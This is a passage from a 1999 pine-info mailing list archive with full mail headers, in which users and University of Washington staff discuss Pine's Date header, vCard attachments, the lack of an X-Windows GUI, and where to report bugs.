(8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA22705; Mon, 22 Feb 1999 09:48:53 -0800 Message-Id: Date: Mon, 22 Feb 1999 09:48:52 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: Problems with Date-header in pc-pine 4.10 In-Reply-To: <199902220858.JAA29700@rumms.uni-mannheim.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Iris Mayer X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The Date header in 4.10 is not wrong. All of the funny stuff is inside of an RFC822 comment, so should be ignored (as far as parsing the date goes) by mail clients. In 4.05, the funny stuff was not in a comment, and that was wrong, but 4.10 is correct. (Not that this will help you solve your problem.) -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle On Mon, 22 Feb 1999, Iris Mayer wrote: > I just installed Version 4.10 of PC-pine on my Win95-PC. > > As in Version 4.05, pine produces a wrong Date header field. Many Mail > clients are inable to handle correctly mails with such headers. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 10:09:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA11154 for ; Mon, 22 Feb 1999 10:09:33 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA18419; Mon, 22 Feb 1999 10:09:31 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA23880; Mon, 22 Feb 1999 10:06:28 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA38750 for ; Mon, 22 Feb 1999 10:03:19 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA25265 for ; Mon, 22 Feb 1999 10:03:18 -0800 Received: from aleph.ii.com ("port 1142"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J81N0V87NK0013QW@mail1.new-york.net> for pine-info@u.washington.edu; Mon, 22 Feb 1999 13:03:10 -0500 (EDT) Message-Id: Date: Mon, 22 Feb 1999 13:02:24 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: Attachments in Pine In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN To me, the problem with vCards isn't that they are sent as a MIME attachment (which is a good thing IMHO) or that they are ugly (since they are meant to be used to easily transfer the data into your addressbook). The problem is that people shouldn't be automatically sending them with *every* message they send. This is a waste of bandwidth as the message travels through the Net and a waste of disk space when a user saves a bunch of messages from someone and every single one has the person's vCard. Like Ken said, just send people a pointer to where they can get the info -- either a web address, email address, or best of all a publicly-accessible IMAP server where the vCard is stored in a message and people can use their mailer to go grab the vCard and put the info into their addressbook when/if they want it. -- For Pine info & links, see www.ii.com/internet/messaging/pine/ ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 10:21:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA11743 for ; Mon, 22 Feb 1999 10:21:35 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA18752; Mon, 22 Feb 1999 10:21:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA11453; Mon, 22 Feb 1999 10:15:02 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA37616 for ; Mon, 22 Feb 1999 10:12:10 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA16271 for ; Mon, 22 Feb 1999 10:12:10 -0800 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA23493 for ; Mon, 22 Feb 1999 10:12:09 -0800 Message-Id: Date: Mon, 22 Feb 1999 10:12:08 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: Attachments in Pine In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Pine should be able to display and save vcard attachments. A Save of a vcard attachment should offer to save it to your address book. When you forward a pine address book entry it may be forwarded as a vcard attachment. However, there is no way to attach a vcard as a signature, other than doing it manually. -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle On Mon, 22 Feb 1999, Ken Woods wrote: > On Mon, 22 Feb 1999, Dan Wing wrote: > > vCards are something that can be useful. Arguments can be made for > > Yep. Really useful for those of us running in a *nix environment. > >From the web page you provided: "You click the vCard button...." > > hmm...click on what? The part of the email that says: > "[ Cannot display this part. Press "V" then "S" to save in a file. ]" > Click on that? > *sigh* From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 10:22:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA11717 for ; Mon, 22 Feb 1999 10:22:50 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA26950; Mon, 22 Feb 1999 10:22:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA19346; Mon, 22 Feb 1999 10:19:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA39440 for ; Mon, 22 Feb 1999 10:13:07 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA02195 for ; Mon, 22 Feb 1999 10:13:07 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by pita.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id KAA05236; Mon, 22 Feb 1999 10:12:31 -0800 (PST) Message-Id: Date: Mon, 22 Feb 1999 10:12:31 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Dan Wing To: Pine Discussion Forum Subject: vCard (was Re: Attachments in Pine) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Ken Woods X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999 12:01 -0500, Ken Woods wrote: > On Mon, 22 Feb 1999, Dan Wing wrote: > > vCards are something that can be useful. Arguments can be made for > > Yep. Really useful for those of us running in a *nix environment. > From the web page you provided: "You click the vCard button...." > > hmm...click on what? The part of the email that says: > "[ Cannot display this part. Press "V" then "S" to save in a file. ]" > Click on that? > *sigh* The lack of a thing to click isn't a Unix problem but rather a character-based MUA problem. I don't see how that invalidates vCards. The web page I referenced is mostly for end users who primiarly use MUAs with GUIs. Support for vCards could be added to pine. It could be implemented in a fashion similar to the existing "Take Addr" feature (which scans the message for email addresses to add to your local addressbook). > > how ugly they are, or that non-MIME readers may find them awkward, > > You left out the part about how they don't comply to RFC 821, RFC 822, or > RFC 1049. I don't see how vCards are compliant or not compliant with RFC821 -- or any other message content is compliant or not compliant with RFC821. As a defined MIME type, vCards seem as compliant with RFC822 as MIME itself is compliant with RFC822. RFC1049 was obsoleted by MIME. > > but many folks appreciate them. > > So, the rest of us should suffer? I'm not sure how to answer that question. vCard support seems to be growing, increasing the likelyhood that a received message will contain a vCard. If the receipient's MUA doesn't support vCards (or MIME) the vCard may be ugly and cause some grief - but the sender has no way of knowing if the recipient's mailer supports vCards or MIME. I'm not here to defend vCards - I merely pointed out why attaching a file to a message may be desirable for some users. I think such a discussion is more appropriate on a non-pine mailing list, such as the vcard mailing list imc-vcard@imc.org (to subscribe, send mail to imc-vcard-request@imc.org). -Dan Wing From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 10:27:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA11774 for ; Mon, 22 Feb 1999 10:27:37 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA18930; Mon, 22 Feb 1999 10:27:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA19986; Mon, 22 Feb 1999 10:25:11 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA46542 for ; Mon, 22 Feb 1999 10:15:42 -0800 Received: from kens.com (kens.com [209.70.169.2]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA27323 for ; Mon, 22 Feb 1999 10:15:41 -0800 Received: from kens.com (kens.com [209.70.169.2]) by kens.com (8.9.2/8.9.2-mod-for-majordomo) with ESMTP id NAA22310; Mon, 22 Feb 1999 13:15:42 -0500 (EST) Message-Id: Date: Mon, 22 Feb 1999 13:15:42 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ken Woods To: Pine Discussion Forum Subject: Re: vCard (was Re: Attachments in Pine) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Dan Wing X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999, Dan Wing wrote: > I'm not here to defend vCards - I merely pointed out why attaching a > file to a message may be desirable for some users. We'll agree to disagree, and leave it at that. -- Ken Woods kwoods@kens.com From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 10:50:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA02722 for ; Mon, 22 Feb 1999 10:50:21 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA19625; Mon, 22 Feb 1999 10:50:19 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA14163; Mon, 22 Feb 1999 10:47:28 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA43210 for ; Mon, 22 Feb 1999 10:44:07 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA07481 for ; Mon, 22 Feb 1999 10:44:06 -0800 Received: from aleph.ii.com ("port 1169"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J81OGCZLIQ0013QW@mail1.new-york.net> for pine-info@u.washington.edu; Mon, 22 Feb 1999 13:43:55 -0500 (EDT) Message-Id: Date: Mon, 22 Feb 1999 13:43:07 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: UI of Pine on X-Windows vs. MS-Windows? MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN How does the user interface of PC-Pine compare to Pine in X-Windows (or another windowing environment on Unix). Does the Unix version have drop-down menus, pop-up menus, etc.? Is it essentially the same UI as PC-Pine. Thanks for any info, Nancy PS - One of these days, I'll set up a Linux machine here so I can figure out this stuff myself. -- ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 11:24:44 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA13280 for ; Mon, 22 Feb 1999 11:24:43 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA28641; Mon, 22 Feb 1999 11:24:40 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA29241; Mon, 22 Feb 1999 11:22:43 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA39484 for ; Mon, 22 Feb 1999 11:19:55 -0800 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA14091 for ; Mon, 22 Feb 1999 11:19:55 -0800 Received: from D-140-142-110-210.dhcp.washington.edu (D-140-142-110-210.dhcp.washington.edu [140.142.110.210]) by shiva2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21925; Mon, 22 Feb 1999 11:19:49 -0800 Message-Id: Date: Mon, 22 Feb 1999 11:21:15 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Nancy McGough X-Cc: Pine Discussion Forum X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Nancy, There is no X-windows version of Pine at this time. However, Unix Pine can run in an "xterminal" window on systems with X, and can then utilize a mouse for clicking on things (if that feature is enabled), but in all other respects, it looks like Unix Pine, not PC-Pine. -teg On Mon, 22 Feb 1999, Nancy McGough wrote: > How does the user interface of PC-Pine compare to Pine in X-Windows > (or another windowing environment on Unix). Does the Unix version have > drop-down menus, pop-up menus, etc.? Is it essentially the same UI as > PC-Pine. > > Thanks for any info, > Nancy > > PS - One of these days, I'll set up a Linux machine here so I can > figure out this stuff myself. > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 11:32:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA13521 for ; Mon, 22 Feb 1999 11:32:27 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA28866; Mon, 22 Feb 1999 11:32:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA23981; Mon, 22 Feb 1999 11:30:04 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA38670 for ; Mon, 22 Feb 1999 11:27:34 -0800 Received: from sass165.sandia.gov (mailgate.sandia.gov [132.175.109.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA07097 for ; Mon, 22 Feb 1999 11:27:32 -0800 Received: from sasg829.sandia.gov (sasg829.sandia.gov [134.253.226.190]) by sass165.sandia.gov (8.9.1a/8.9.1a) with ESMTP id MAA19032; Mon, 22 Feb 1999 12:27:03 -0700 (MST) Message-Id: Date: Mon, 22 Feb 1999 12:22:11 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Daniel Sands To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Nancy McGough X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN There is no X-Windows pine IIRC. UNIX pine is text only. Probably because the basic X toolkit is rather clumsy, and Motif is not included with every UNIX clone out there. Maybe if Lesstif becomes viable, the Pine people will create a GUI for it. On Mon, 22 Feb 1999, Nancy McGough wrote: > How does the user interface of PC-Pine compare to Pine in X-Windows > (or another windowing environment on Unix). Does the Unix version have > drop-down menus, pop-up menus, etc.? Is it essentially the same UI as > PC-Pine. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 11:38:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA13899 for ; Mon, 22 Feb 1999 11:38:17 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21059; Mon, 22 Feb 1999 11:38:15 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA00212; Mon, 22 Feb 1999 11:36:40 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA42820 for ; Mon, 22 Feb 1999 11:33:43 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA30121 for ; Mon, 22 Feb 1999 11:33:42 -0800 Received: from aleph.ii.com ("port 1271"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J81Q6RY1R40013N5@mail1.new-york.net> for pine-info@u.washington.edu; Mon, 22 Feb 1999 14:33:27 -0500 (EDT) Message-Id: Date: Mon, 22 Feb 1999 14:32:42 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy this-address-is-valid McGough To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII X-To: Terry Gray X-Cc: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On 22 Feb 1999, Terry Gray wrote: > There is no X-windows version of Pine at this time. > However, Unix Pine can run in an "xterminal" window on systems with X, and > can then utilize a mouse for clicking on things (if that feature is > enabled), but in all other respects, it looks like Unix Pine, not PC-Pine. Thanks for the info. Are there plans to do a GUI Unix Pine? If so, where on the priority list is it? I.e., is it possibile it would happen within a year? On the subject of priority list: Do you think that the pipe command will work in PC-Pine within a year? Thanks, Nancy From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 11:56:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA14349 for ; Mon, 22 Feb 1999 11:56:09 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21588; Mon, 22 Feb 1999 11:56:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA25670; Mon, 22 Feb 1999 11:54:00 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA37504 for ; Mon, 22 Feb 1999 11:50:49 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA11113 for ; Mon, 22 Feb 1999 11:50:48 -0800 Received: from aleph.ii.com ("port 1280"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J81QRRTXGU0013N5@mail1.new-york.net> for pine-info@u.washington.edu; Mon, 22 Feb 1999 14:50:27 -0500 (EDT) Message-Id: Date: Mon, 22 Feb 1999 14:49:37 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: suggestion for Pine Help & Q about bugs/suggestions MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The context-sensitive Help about index-format mentions STATUS and FULLSTATUS, but it does not mention IMAPSTATUS. It would be useful to add info about that. Where is the best place to send these kind of suggestions and bug reports -- here or comp.mail.pine? I think it's useful to post them publicly so people know about the bugs and also so someone doesn't spend time writing up a bug that's already been reported. But, I don't know which is the more appropriate place... Thanks, -- ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 12:17:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA03769 for ; Mon, 22 Feb 1999 12:17:16 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA30258; Mon, 22 Feb 1999 12:17:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id MAA19495; Mon, 22 Feb 1999 12:13:25 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA16622 for ; Mon, 22 Feb 1999 12:09:34 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA26539 for ; Mon, 22 Feb 1999 12:09:33 -0800 Received: from D-140-142-110-210.dhcp.washington.edu (D-140-142-110-210.dhcp.washington.edu [140.142.110.210]) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA27741; Mon, 22 Feb 1999 12:09:23 -0800 Message-Id: Date: Mon, 22 Feb 1999 12:10:48 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Nancy this-address-is-valid McGough X-Cc: Pine Discussion Forum X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN We used to make predictions of the future, but gave it up for lent. -teg On Mon, 22 Feb 1999, Nancy this-address-is-valid McGough wrote: > On 22 Feb 1999, Terry Gray wrote: > > There is no X-windows version of Pine at this time. > > However, Unix Pine can run in an "xterminal" window on systems with X, and > > can then utilize a mouse for clicking on things (if that feature is > > enabled), but in all other respects, it looks like Unix Pine, not PC-Pine. > > Thanks for the info. Are there plans to do a GUI Unix Pine? If so, > where on the priority list is it? I.e., is it possibile it would > happen within a year? > > On the subject of priority list: Do you think that the pipe command > will work in PC-Pine within a year? > > Thanks, > Nancy > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 12:28:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA04626 for ; Mon, 22 Feb 1999 12:28:14 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA22486; Mon, 22 Feb 1999 12:28:12 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id MAA20394; Mon, 22 Feb 1999 12:26:06 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA32204 for ; Mon, 22 Feb 1999 12:22:45 -0800 Received: from nimbus.rz.uni-konstanz.de (nimbus.rz.uni-konstanz.de [134.34.3.4]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA16722 for ; Mon, 22 Feb 1999 12:22:44 -0800 Received: from goodhope.terrania.city (actually stheno-164.dial-in.uni-konstanz.de) by nimbus.rz.uni-konstanz.de with Intranet SMTP (PP); Mon, 22 Feb 1999 21:22:23 +0100 Received: from localhost (jeff@localhost [127.0.0.1]) by goodhope.terrania.city (8.9.3/8.9.3/Debian/GNU) with ESMTP id PAA05941; Mon, 22 Feb 1999 15:56:05 +0100 Message-Id: Date: Mon, 22 Feb 1999 15:56:04 +0100 (CET) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Joerg Friedrich To: Pine Discussion Forum Subject: Re: view all headers In-Reply-To: <199902221120.MAA25210@rumms.uni-mannheim.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-To: Iris Mayer X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- 